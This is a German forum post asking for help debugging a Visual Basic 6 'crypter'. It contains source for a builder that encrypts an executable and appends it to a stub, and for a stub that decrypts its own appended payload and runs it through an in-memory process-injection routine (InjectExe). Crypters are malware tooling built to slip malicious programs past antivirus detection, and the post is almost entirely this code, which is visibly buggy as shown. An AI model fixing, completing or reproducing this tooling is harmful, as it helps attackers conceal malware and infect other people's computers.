Hallo Leute , bin schon am verzweifeln
Kann mir bitte jemand sagen, wo hier der Fehler steckt?
Wäre sehr dankbar.

Crypter :

Code:
Private Sub Build_Click(Index As Integer)
 Dim StubData As String
 Dim Data As String
 Dim abc As String
 Dim c As New clsCryptAPI

Open App.Path & "\stub.exe" For Binary As #1
StubData = Space(LOF(1))
Get #1, , StubData
Close #1

Open Text1.Text For Binary As #1
Data = Space(LOF(1))
Get #1, , Data
Close #1

abc = c.EncryptString(Data)

Open App.Path & "\Test.exe" For Binary As #1
Put #1, , StubData
Put #1, , abc
Close #1
                
End Sub
Stub :
Code:
Private Sub Main()
    Dim sPath   As String
    Dim Data As String
    Dim SplittedData() As String
    Dim cCrypt  As New clsCryptAPI
    Dim def As String
    
    sPath = ThisExe

        Open sPath For Binary As #1
        Data = Space(LOF(1))
        Get #1, , Data
        Close #1
        
        SplittedData() = Split(Data)
        def = cCrypt.DecryptString(SplittedData(1))
        mPEL.InjectExe sPath, StrConv(SplittedData(1), vbFromUnicode)
        
    End Sub
Glaube irgendwo in der Stub, aber wo ??